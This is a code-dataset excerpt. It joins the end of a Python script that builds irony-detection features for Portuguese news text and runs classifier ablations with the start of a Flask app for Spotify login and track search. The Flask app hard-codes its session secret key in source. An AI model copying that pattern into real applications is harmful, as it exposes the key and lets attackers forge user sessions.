= np.zeros( ( train_matrix.shape[0] , 1 ) )\n for i in range( train_matrix.shape[0] ):\n valences = []\n for word in train_texts[i].split(\" \"):\n if word in affective:\n valences.append(affective[word][0]) #valence is index 0\n else:\n valences.append(0)\n for x in [valences[i:i+2] for i in range(len(valences)-1)]: \n if x[0] > 0 and x[1] > 0 and abs(x[0]-x[1]) > val_dif:\n train_features_vc_w1[i,0] +=1\n for x in [valences[i:i+3] for i in range(len(valences)-1)]: \n val_interest = [i for i in x if i>0]\n if len(val_interest)>=2:\n for a,b in itertools.combinations(val_interest, 2):\n if abs(a-b)>val_dif:\n train_features_vc_w2[i,0] +=1 /len(x)\n for x in [valences[i:i+4] for i in range(len(valences)-1)]: \n val_interest = [i for i in x if i>0]\n if len(val_interest)>=2:\n for a,b in itertools.combinations(val_interest, 2):\n if abs(a-b)>val_dif:\n train_features_vc_w3[i,0] +=1 / len(x)\n for x in [valences[i:i+5] for i in range(len(valences)-1)]: \n val_interest = [i for i in x if i>0]\n if len(val_interest)>=2:\n for a,b in itertools.combinations(val_interest, 2):\n if abs(a-b)>val_dif:\n train_features_vc_w4[i,0] +=1 / len(x)\n for x in [valences[i:i+6] for i in range(len(valences)-1)]: \n val_interest = [i for i in x if i>0]\n if len(val_interest)>=2:\n for a,b in itertools.combinations(val_interest, 2):\n if abs(a-b)>val_dif:\n train_features_vc_w5[i,0] +=1 / len(x)\n \n# test_features_vc_w1 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_vc_w2 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_vc_w3 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_vc_w4 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_vc_w5 = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# for i in range( test_matrix.shape[0] ):\n# valences = []\n# for word in test_texts[i].split(\" \"):\n# if word in affective:\n# valences.append(affective[word][0])\n# else:\n# valences.append(0)\n# for x in [valences[i:i+2] for i in range(len(valences)-1)]: \n# if x[0] > 0 and x[1] > 0 and abs(x[0]-x[1]) > val_dif:\n# test_features_vc_w1[i,0] +=1\n# for x in [valences[i:i+3] for i in range(len(valences)-1)]: \n# val_interest = [i for i in x if i>0]\n# if len(val_interest)>=2:\n# for a,b in itertools.combinations(val_interest, 2):\n# if abs(a-b)>val_dif:\n# test_features_vc_w2[i,0] +=1 /len(x)\n# for x in [valences[i:i+4] for i in range(len(valences)-1)]: \n# val_interest = [i for i in x if i>0]\n# if len(val_interest)>=2:\n# for a,b in itertools.combinations(val_interest, 2):\n# if abs(a-b)>val_dif:\n# test_features_vc_w3[i,0] +=1 / len(x)\n# for x in [valences[i:i+5] for i in range(len(valences)-1)]: \n# val_interest = [i for i in x if i>0]\n# if len(val_interest)>=2:\n# for a,b in itertools.combinations(val_interest, 2):\n# if abs(a-b)>val_dif:\n# test_features_vc_w4[i,0] +=1 / len(x)\n# for x in [valences[i:i+6] for i in range(len(valences)-1)]: \n# val_interest = [i for i in x if i>0]\n# if len(val_interest)>=2:\n# for a,b in itertools.combinations(val_interest, 2):\n# if abs(a-b)>val_dif:\n# test_features_vc_w5[i,0] +=1 / len(x)\n \n log.write(\"Computing Part-of-Speech Tagger...\\n\")\n with open('Models/tagger.pkl',\"rb\") as tagger:\n train_features_adj = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_noun = np.zeros( ( train_matrix.shape[0] , 1 ) )\n train_features_verb = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_adj = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_noun = np.zeros( ( test_matrix.shape[0] , 1 ) )\n# test_features_verb = np.zeros( ( test_matrix.shape[0] , 1 ) )\n tagger_fast = pickle.load(tagger)\n for i in range( train_matrix.shape[0] ):\n sent_tagged = tagger_fast.tag(nltk.word_tokenize(train_texts[i]))\n sent_tagged = [w for w in sent_tagged if w[0] not in nltk.corpus.stopwords.words('portuguese')] #unicode(nltk.corpus.stopwords.words('portuguese'))]\n if len(sent_tagged)>0:\n train_features_adj[i,0] = len([tag for (word,tag) in sent_tagged if tag == 'ADJ']) / len(sent_tagged)\n train_features_noun[i,0] = len([tag for (word,tag) in sent_tagged if tag == 'NOUN']) / len(sent_tagged)\n train_features_verb[i,0] = len([tag for (word,tag) in sent_tagged if tag == 'VERB']) / len(sent_tagged)\n# for i in range( test_matrix.shape[0] ):\n# sent_tagged = tagger_fast.tag(nltk.word_tokenize(test_texts[i]))\n# sent_tagged = [w for w in sent_tagged if w[0] not in nltk.corpus.stopwords.words('portuguese')] #unicode(nltk.corpus.stopwords.words('portuguese'))]\n# if len(sent_tagged)>0:\n# test_features_adj[i,0] = len([tag for (word,tag) in sent_tagged if tag == 'ADJ']) / len(sent_tagged)\n# test_features_noun[i,0] = len([tag for (word,tag) in sent_tagged if tag == 'NOUN']) / len(sent_tagged)\n# test_features_verb[i,0] = len([tag for (word,tag) in sent_tagged if tag == 'VERB']) / len(sent_tagged)\n \n log.write(\"Computing Pairwise Distances...\\n\")\n with open(\"DATA/embedding_features.pkl\",\"rb\") as fid:\n u = pickle._Unpickler(fid)\n u.encoding = 'ISO-8859-1'\n wrd2idx, E = u.load()\n with open(\"DATA/StopWords_Ironia.txt\",\"rb\") as fid:\n stop_words = fid.read().split()\n train_features_dist_avg = np.zeros( ( train_matrix.shape[0] , 1 ) ) \n# test_features_dist_avg = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_dist_stdev = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_dist_stdev = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_dist_min = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_dist_min = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_dist_max = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_dist_max = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_dist_dif = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_dist_dif = np.zeros( ( test_matrix.shape[0] , 1 ) )\n for i in range( train_matrix.shape[0]):\n train_features_dist_avg[i,0], train_features_dist_stdev[i,0], train_features_dist_min[i,0], train_features_dist_max[i,0], train_features_dist_dif[i,0] = pairwise_distances(train_texts[i], wrd2idx, stop_words)\n# for i in range( test_matrix.shape[0]):\n# test_features_dist_avg[i,0], test_features_dist_stdev[i,0], test_features_dist_min[i,0], test_features_dist_max[i,0], test_features_dist_dif[i,0] = pairwise_distances(test_texts[i], wrd2idx, stop_words)\n# \n \n log.write(\"Computing PMI Title features...\\n\")\n # fazer pmi normalizado e pmi regular para titulo e body\n train_features_pmi_avg = np.zeros( ( train_matrix.shape[0] , 1 ) ) \n# test_features_pmi_avg = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pmi_stdev = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pmi_stdev = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pmi_min = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pmi_min = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pmi_max = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pmi_max = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pmi_dif = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pmi_dif = np.zeros( ( test_matrix.shape[0] , 1 ) )\n \n with open(\"DATA/_new_cooccurs_sapo_Title.pkl\",\"rb\") as fid:\n u = pickle._Unpickler(fid)\n u.encoding = 'utf-8'\n co_occurs = u.load()\n with open(\"DATA/_new_sentences_sapo_Title.pkl\",\"rb\") as fid:\n u = pickle._Unpickler(fid)\n u.encoding = 'utf-8'\n sent_dict = u.load() \n for i in range( train_matrix.shape[0] ):\n entities = getEntities(sent_dict,train_texts[i])\n pairwise_pmis = []\n entity_pairs = itertools.combinations(entities, 2) \n for e_a, e_b in entity_pairs:\n pairwise_pmis.append(pmi(e_a, e_b, co_occurs))\n if len(pairwise_pmis)>0:\n train_features_pmi_avg[i,0] = np.average( pairwise_pmis )\n train_features_pmi_stdev[i,0] = np.std( pairwise_pmis )\n train_features_pmi_min[i,0] = np.min( pairwise_pmis )\n train_features_pmi_max[i,0] = np.max( pairwise_pmis )\n# for i in range( test_matrix.shape[0] ):\n# entities = getEntities(sent_dict,test_texts[i])\n# pairwise_pmis = []\n# entity_pairs = itertools.combinations(entities, 2) \n# for e_a, e_b in entity_pairs:\n# pairwise_pmis.append(pmi(e_a, e_b, co_occurs))\n# if len(pairwise_pmis)>0: \n# test_features_pmi_avg[i,0] = np.average( pairwise_pmis )\n# test_features_pmi_stdev[i,0] = np.std( pairwise_pmis )\n# test_features_pmi_min[i,0] = np.min( pairwise_pmis )\n# test_features_pmi_max[i,0] = np.max( pairwise_pmis )\n \n log.write(\"Computing PMI body features...\\n\")\n # fazer pmi normalizado e pmi regular para titulo e body\n train_features_pmibody_avg = np.zeros( ( train_matrix.shape[0] , 1 ) ) \n# test_features_pmibody_avg = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pmibody_stdev = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pmibody_stdev = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pmibody_min = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pmibody_min = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pmibody_max = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pmibody_max = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pmibody_dif = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pmibody_dif = np.zeros( ( test_matrix.shape[0] , 1 ) )\n \n with open(\"DATA/_new_cooccurs_sapo_Body.pkl\",\"rb\") as fid:\n u = pickle._Unpickler(fid)\n u.encoding = 'utf-8'\n co_occurs = u.load()\n with open(\"DATA/_new_sentences_sapo_Body.pkl\",\"rb\") as fid:\n u = pickle._Unpickler(fid)\n u.encoding = 'utf-8'\n sent_dict = u.load() \n for i in range( train_matrix.shape[0] ):\n entities = getEntities(sent_dict,train_texts[i])\n pairwise_pmis = []\n entity_pairs = itertools.combinations(entities, 2) \n for e_a, e_b in entity_pairs:\n pairwise_pmis.append(pmi(e_a, e_b, co_occurs))\n if len(pairwise_pmis)>0:\n train_features_pmibody_avg[i,0] = np.average( pairwise_pmis )\n train_features_pmibody_stdev[i,0] = np.std( pairwise_pmis )\n train_features_pmibody_min[i,0] = np.min( pairwise_pmis )\n train_features_pmibody_max[i,0] = np.max( pairwise_pmis )\n# for i in range( test_matrix.shape[0] ):\n# entities = getEntities(sent_dict,test_texts[i])\n# pairwise_pmis = []\n# entity_pairs = itertools.combinations(entities, 2) \n# for e_a, e_b in entity_pairs:\n# pairwise_pmis.append(pmi(e_a, e_b, co_occurs))\n# if len(pairwise_pmis)>0: \n# test_features_pmibody_avg[i,0] = np.average( pairwise_pmis )\n# test_features_pmibody_stdev[i,0] = np.std( pairwise_pmis )\n# test_features_pmibody_min[i,0] = np.min( pairwise_pmis )\n# test_features_pmibody_max[i,0] = np.max( pairwise_pmis ) \n \n # features de PMI só de entidades\n log.write(\"Computing PMI NER Verbetes Body features...\\n\")\n # fazer pmi normalizado e pmi regular para titulo e body\n train_features_pminer_avg = np.zeros( ( train_matrix.shape[0] , 1 ) ) \n# test_features_pminer_avg = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pminer_stdev = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pminer_stdev = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pminer_min = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pminer_min = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pminer_max = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pminer_max = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pminer_dif = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pminer_dif = np.zeros( ( test_matrix.shape[0] , 1 ) )\n \n with open(\"DATA/_new_cooccurs_sapo_entities.pkl\",\"rb\") as fid:\n u = pickle._Unpickler(fid)\n u.encoding = 'utf-8'\n co_occurs = u.load()\n with open(\"DATA/_new_sentences_sapo_entities.pkl\",\"rb\") as fid:\n u = pickle._Unpickler(fid)\n u.encoding = 'utf-8'\n sent_dict = u.load() \n for i in range( train_matrix.shape[0] ):\n entities = getEntities(sent_dict,train_texts[i])\n pairwise_pmis = []\n entity_pairs = itertools.combinations(entities, 2) \n for e_a, e_b in entity_pairs:\n pairwise_pmis.append(pmi(e_a, e_b, co_occurs))\n if len(pairwise_pmis)>0:\n train_features_pminer_avg[i,0] = np.average( pairwise_pmis )\n train_features_pminer_stdev[i,0] = np.std( pairwise_pmis )\n train_features_pminer_min[i,0] = np.min( pairwise_pmis )\n train_features_pminer_max[i,0] = np.max( pairwise_pmis )\n# for i in range( test_matrix.shape[0] ):\n# entities = getEntities(sent_dict,test_texts[i])\n# pairwise_pmis = []\n# entity_pairs = itertools.combinations(entities, 2) \n# for e_a, e_b in entity_pairs:\n# pairwise_pmis.append(pmi(e_a, e_b, co_occurs))\n# if len(pairwise_pmis)>0: \n# test_features_pminer_avg[i,0] = np.average( pairwise_pmis )\n# test_features_pminer_stdev[i,0] = np.std( pairwise_pmis )\n# test_features_pminer_min[i,0] = np.min( pairwise_pmis )\n# test_features_pminer_max[i,0] = np.max( pairwise_pmis )\n \n # features de PMI só de entidades\n log.write(\"Computing PMI NER Verbetes Title features...\\n\")\n # fazer pmi normalizado e pmi regular para titulo e body\n train_features_pminer_title_avg = np.zeros( ( train_matrix.shape[0] , 1 ) ) \n# test_features_pminer_title_avg = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pminer_title_stdev = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pminer_title_stdev = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pminer_title_min = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pminer_title_min = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pminer_title_max = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pminer_title_max = np.zeros( ( test_matrix.shape[0] , 1 ) )\n train_features_pminer_title_dif = np.zeros( ( train_matrix.shape[0] , 1 ) )\n# test_features_pminer_title_dif = np.zeros( ( test_matrix.shape[0] , 1 ) )\n \n with open(\"DATA/_new_cooccurs_sapo_entities_Title.pkl\",\"rb\") as fid:\n u = pickle._Unpickler(fid)\n u.encoding = 'utf-8'\n co_occurs = u.load()\n with open(\"DATA/_new_sentences_sapo_entities_Title.pkl\",\"rb\") as fid:\n u = pickle._Unpickler(fid)\n u.encoding = 'utf-8'\n sent_dict = u.load() \n for i in range( train_matrix.shape[0] ):\n entities = getEntities(sent_dict,train_texts[i])\n pairwise_pmis = []\n entity_pairs = itertools.combinations(entities, 2) \n for e_a, e_b in entity_pairs:\n pairwise_pmis.append(pmi(e_a, e_b, co_occurs))\n if len(pairwise_pmis)>0:\n train_features_pminer_title_avg[i,0] = np.average( pairwise_pmis )\n train_features_pminer_title_stdev[i,0] = np.std( pairwise_pmis )\n train_features_pminer_title_min[i,0] = np.min( pairwise_pmis )\n train_features_pminer_title_max[i,0] = np.max( pairwise_pmis )\n# for i in range( test_matrix.shape[0] ):\n# entities = getEntities(sent_dict,test_texts[i])\n# pairwise_pmis = []\n# entity_pairs = itertools.combinations(entities, 2) \n# for e_a, e_b in entity_pairs:\n# pairwise_pmis.append(pmi(e_a, e_b, co_occurs))\n# if len(pairwise_pmis)>0: \n# test_features_pminer_title_avg[i,0] = np.average( pairwise_pmis )\n# test_features_pminer_title_stdev[i,0] = np.std( pairwise_pmis )\n# test_features_pminer_title_min[i,0] = np.min( pairwise_pmis )\n# test_features_pminer_title_max[i,0] = np.max( pairwise_pmis ) \n \n \n # contraste na dimensão temporal\n # relevância de um dado termo num dado momento em contraste, procurando noticias na mesma data\n # excluir stopwords, usar só palavras de tf-idf mais alto\n \n train_features = np.hstack( ( train_features_semantic_vol, \n train_features_avg , train_features_stdev , train_features_min , \n train_features_max , train_features_dif , train_features_seq ,\n train_features_pos, train_features_neg , train_features_adj ,\n train_features_noun, train_features_verb, train_features_pmi_avg ,\n train_features_pmi_stdev, train_features_pmi_min, train_features_pmi_max , \n train_features_pmibody_avg , train_features_pmibody_stdev, train_features_pmibody_min , \n train_features_pmibody_max, train_features_pminer_avg , train_features_pminer_stdev ,\n train_features_pminer_min , train_features_pminer_max, train_features_pminer_title_avg ,\n train_features_pminer_title_stdev , train_features_pminer_title_min , train_features_pminer_title_max, \n train_features_dist_avg , train_features_dist_stdev, train_features_dist_min, train_features_dist_max, \n train_features_dist_dif, train_features_vc_w1, train_features_vc_w2, train_features_vc_w3, \n train_features_vc_w4, train_features_vc_w5, train_features_ac_w1, \n train_features_ac_w2, train_features_ac_w3, train_features_ac_w4,\n train_features_ac_w5) )\n \n #dicionaty of the position of features on the feature matrix so that removal can be easier\n features_dict = {'train_features_semantic_vol':0,\n 'train_features_avg':[1,2,3],'train_features_stdev':[4,5,6], 'train_features_min':[7,8,9],\n 'train_features_max':[10,11,12], 'train_features_dif':[13,14,15], 'train_features_seq':[16,17],\n 'train_features_pos':18, 'train_features_neg':19, 'train_features_adj':20,\n 'train_features_noun': 21, 'train_features_verb':22, 'train_features_pmi_avg':23,\n 'train_features_pmi_stdev': 24, 'train_features_pmi_min': 25, 'train_features_pmi_max':26,\n 'train_features_pmibody_avg': 27, 'train_features_pmibody_stdev': 28, 'train_features_pmibody_min':29,\n 'train_features_pmibody_max': 30, 'train_features_pminer_avg': 31, 'train_features_pminer_stdev':32,\n 'train_features_pminer_min':33, 'train_features_pminer_max': 34, 'train_features_pminer_title_avg': 35, \n 'train_features_pminer_title_stdev': 36, 'train_features_pminer_title_min': 37, 'train_features_pminer_title_max': 38,\n 'train_features_dist_avg': 39, 'train_features_dist_stdev': 40, 'train_features_dist_min': 41, 'train_features_dist_max': 42,\n 'train_features_dist_dif': 43, 'train_features_vc_w1': 44, 'train_features_vc_w2': 45, 'train_features_vc_w3': 46,\n 'train_features_vc_w4': 47, 'train_features_vc_w5': 48, 'train_features_ac_w1': 49, \n 'train_features_ac_w2': 50, 'train_features_ac_w3': 51, 'train_features_ac_w4': 52,\n 'train_features_ac_w5': 53}\n \n# test_features = np.hstack( ( test_features_avg , test_features_stdev , test_features_min , \n# test_features_max , test_features_dif , test_features_seq ,\n# test_features_pos, test_features_neg , test_features_adj ,\n# test_features_noun, test_features_verb, test_features_pmi_avg ,\n# test_features_pmi_stdev, test_features_pmi_min, test_features_pmi_max , \n# test_features_pmibody_avg , test_features_pmibody_stdev, test_features_pmibody_min , \n# test_features_pmibody_max, test_features_pminer_avg , test_features_pminer_stdev ,\n# test_features_pminer_title_avg , test_features_pminer_title_stdev ,\n# test_features_pminer_title_min , test_features_pminer_title_max,\n# test_features_pminer_title_min , test_features_pminer_title_max, test_features_dist_avg , \n# test_features_dist_stdev, test_features_dist_min, test_features_dist_max, \n# test_features_dist_dif, test_features_vc_w1, test_features_vc_w2, test_features_vc_w3, \n# test_features_vc_w4, test_features_vc_w5, test_features_ac_w1, \n# test_features_ac_w2, test_features_ac_w3, test_features_ac_w4,\n# test_features_ac_w5) )\n \n train_labels = np.array(train_labels)\n #test_labels = np.array(test_labels)\n \n sets = kfolds(10,len(train_labels),val_set=True,shuffle=False)\n \n classify(sets, \"with binary bag-of-words features\", classifier = 'svm')\n classify(sets, \"with binary bag-of-words features\", classifier = 'regr')\n\n classify(sets, \"with EXTRA features\" , classifier = 'svm', extra = train_features, coef_flag=True, num_feat = train_features.shape[1] )\n classify(sets, \"with EXTRA features\" , classifier = 'regr', extra = train_features, coef_flag=True, num_feat = train_features.shape[1] )\n \n removed_arr = [features_dict['train_features_vc_w1'],features_dict['train_features_vc_w2'],features_dict['train_features_vc_w3'],\n features_dict['train_features_vc_w4'],features_dict['train_features_vc_w5'],features_dict['train_features_ac_w1'],\n features_dict['train_features_ac_w2'],features_dict['train_features_ac_w3'],features_dict['train_features_ac_w4'],\n features_dict['train_features_ac_w5']]\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without affective contrast\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without affective contrast\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n removed_arr = features_dict['train_features_avg']+features_dict['train_features_stdev']+features_dict['train_features_min']+features_dict['train_features_max']+features_dict['train_features_dif']+features_dict['train_features_seq']\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without affective dimensions and polarity information\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without affective dimensions and polarity information\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n removed_arr = [features_dict['train_features_adj'],features_dict['train_features_verb'],features_dict['train_features_noun']]\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without PoS representativeness\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without PoS representativeness\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n removed_arr = [features_dict['train_features_pos'],features_dict['train_features_neg']]\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without polarity information\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without polarity information\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n removed_arr = [features_dict['train_features_pmi_avg'],features_dict['train_features_pmi_stdev'],features_dict['train_features_pmi_min'],features_dict['train_features_pmi_max']]\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without Contrast between nouns and entities in headlines\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without Contrast between nouns and entities in headlines\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n removed_arr = [features_dict['train_features_pmibody_avg'],features_dict['train_features_pmibody_stdev'],features_dict['train_features_pmibody_min'],features_dict['train_features_pmibody_max']]\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without Contrast between nouns and entities in news articles\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without Contrast between nouns and entities in news articles\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n removed_arr = [features_dict['train_features_pminer_avg'],features_dict['train_features_pminer_stdev'],features_dict['train_features_pminer_min'],features_dict['train_features_pminer_max']]\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without Contrast between entities in news articles\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without Contrast between entities in news articles\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n removed_arr = [features_dict['train_features_pminer_title_avg'],features_dict['train_features_pminer_title_stdev'],features_dict['train_features_pminer_title_min'],features_dict['train_features_pminer_title_max']]\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without Contrast between entities in headlines\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without Contrast between entities in headlines\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n removed_arr = [features_dict['train_features_dist_avg'],features_dict['train_features_dist_stdev'],\n features_dict['train_features_dist_min'],features_dict['train_features_dist_max'],\n features_dict['train_features_dist_dif']]\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without Semantic Distance\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without Semantic Distance\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n removed_arr = [features_dict['train_features_semantic_vol']]\n removed = np.delete(train_features, removed_arr, axis=1)\n classify(sets, \"with EXTRA features but without Semantic Volume\" , classifier = 'svm', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n classify(sets, \"with EXTRA features but without Semantic Volume\" , classifier = 'regr', extra = removed, coef_flag=True, num_feat = removed.shape[1] )\n \n\nexcept Exception as e:\n exc_type, exc_obj, exc_tb = sys.exc_info()\n fname = os.path.split(exc_tb.tb_frame.f_code.co_filename)[1]\n log.write('ERROR ' + str(exc_type) + ',' + str(exc_obj) + ',' +fname+',' + str(exc_tb.tb_lineno)+'\\n')\n log.close()\nlog.close()","sub_path":"code/feature_eng_imparity.py","file_name":"feature_eng_imparity.py","file_ext":"py","file_size_in_byte":53649,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"186873349","text":"## MIXTAPE\n## ===============================================\n\nimport mixtape\n\nfrom flask import Flask\nfrom flask import redirect, render_template, request\nfrom flask import session\nfrom flask import url_for\n\napp = Flask(\"mixtape\")\napp.secret_key = \"=\\xe4|\\x90\\xe9\\x1d\\xdd0o]\\xcb\\xf8\\x0e/\\xbfWmk\\x07n\\xee\\x1e\\xc6%\"\n\n@app.route(\"/\")\ndef root():\n return render_template(\"landing-page.html\")\n\n@app.route(\"/login\")\ndef login():\n return redirect(mixtape.spotify_login_url())\n\n@app.route(\"/logout\")\ndef logout():\n del session[\"user-id\"]\n return redirect(url_for(\"root\"))\n\n@app.route(\"/loggedin\")\ndef loggedin():\n if request.args.get(\"error\", None) is not None:\n # The user has decided not to accept the scopes\n return redirect(url_for(\"root\"))\n\n # This is the authorization code to be used when\n # requesting access and refresh tokens\n _code = request.args.get(\"code\")\n\n # Populate the session object with access and refresh tokens\n mixtape.authorization_code(session, _code)\n mixtape.client_credentials(session)\n\n # and user info\n userid = mixtape.me(session)\n return redirect(url_for(\"rec\", userid = userid))\n\n@app.route(\"/search/\")\ndef search(query):\n mixtape.me(session)\n n, result = mixtape.search(session, query.encode(\"utf8\"))\n if n < 0:\n return render_template(\"message.html\",\n message = result)\n\n return render_template(\"search.html\",\n tracks = result)\n\n@app.route(\"/recommend/